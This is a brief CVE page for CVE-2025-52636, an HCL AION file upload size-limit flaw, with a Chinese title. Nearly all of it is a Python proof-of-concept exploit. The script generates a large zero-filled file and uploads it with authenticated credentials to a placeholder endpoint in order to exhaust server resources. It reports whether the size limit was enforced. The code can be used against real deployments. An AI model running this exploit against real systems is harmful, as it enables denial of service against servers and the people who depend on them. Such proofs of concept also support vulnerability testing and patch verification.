CVE-2025-52636: HCL AION 文件上传大小限制资源消耗漏洞

# CVE-2025-52636 PoC - HCL AION File Upload Size Limit Bypass # This PoC demonstrates uploading oversized files to exhaust server resources import requests import time import sys from requests.auth import HTTPBasicAuth TARGET_URL = "https://target-server/api/upload" USERNAME = "high_privilege_user" PASSWORD = "password" def create_oversized_file(size_mb): """Generate a large file for upload testing""" chunk_size = 1024 * 1024 # 1MB chunks return b'\x00' * (size_mb * chunk_size) def upload_oversized_file(file_data, filename="large_file.bin"): """Upload oversized file to target server""" files = {'file': (filename, file_data, 'application/octet-stream')} try: response = requests.post( TARGET_URL, files=files, auth=HTTPBasicAuth(USERNAME, PASSWORD), timeout=300 ) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def exploit_resource_exhaustion(file_size_mb=500): """ Exploit CVE-2025-52636 by uploading oversized files to cause resource exhaustion on the server """ print(f"[*] Creating {file_size_mb}MB file for upload test...") file_data = create_oversized_file(file_size_mb) print(f"[*] Uploading file to {TARGET_URL}...") status_code, response_text = upload_oversized_file(file_data) if status_code == 200: print("[+] File uploaded successfully - size limit not enforced!") print("[*] Server may be experiencing resource exhaustion") elif status_code == 413: print("[-] Request too large - size limit is enforced") else: print(f"[*] Response: {status_code} - {response_text}") if __name__ == "__main__": file_size = int(sys.argv[1]) if len(sys.argv) > 1 else 500 exploit_resource_exhaustion(file_size)